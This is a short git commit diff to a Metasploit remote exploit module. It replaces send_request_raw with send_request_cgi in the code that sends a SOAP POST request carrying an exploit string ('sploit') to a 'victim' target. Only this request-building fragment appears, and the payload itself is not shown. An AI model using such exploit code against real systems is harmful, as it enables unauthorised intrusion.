Changed the send_request_raw into send_request_cgi function.
parent
675fbb3045
commit
36f275d71a
|
@ -107,9 +107,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# Build and send the HTTP request
|
# Build and send the HTTP request
|
||||||
#
|
#
|
||||||
print_status("Sending exploit to victim #{target.name} at ...")
|
print_status("Sending exploit to victim #{target.name} at ...")
|
||||||
send_request_raw({
|
send_request_cgi({
|
||||||
'uri' => target_uri.path,
|
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
|
'uri' => target_uri.path,
|
||||||
'headers' => {
|
'headers' => {
|
||||||
'SOAPAction' => sploit,
|
'SOAPAction' => sploit,
|
||||||
#'User-Agent' => 'Python-urllib/2.7',
|
#'User-Agent' => 'Python-urllib/2.7',
|
||||||
|
|
Loading…
Reference in New Issue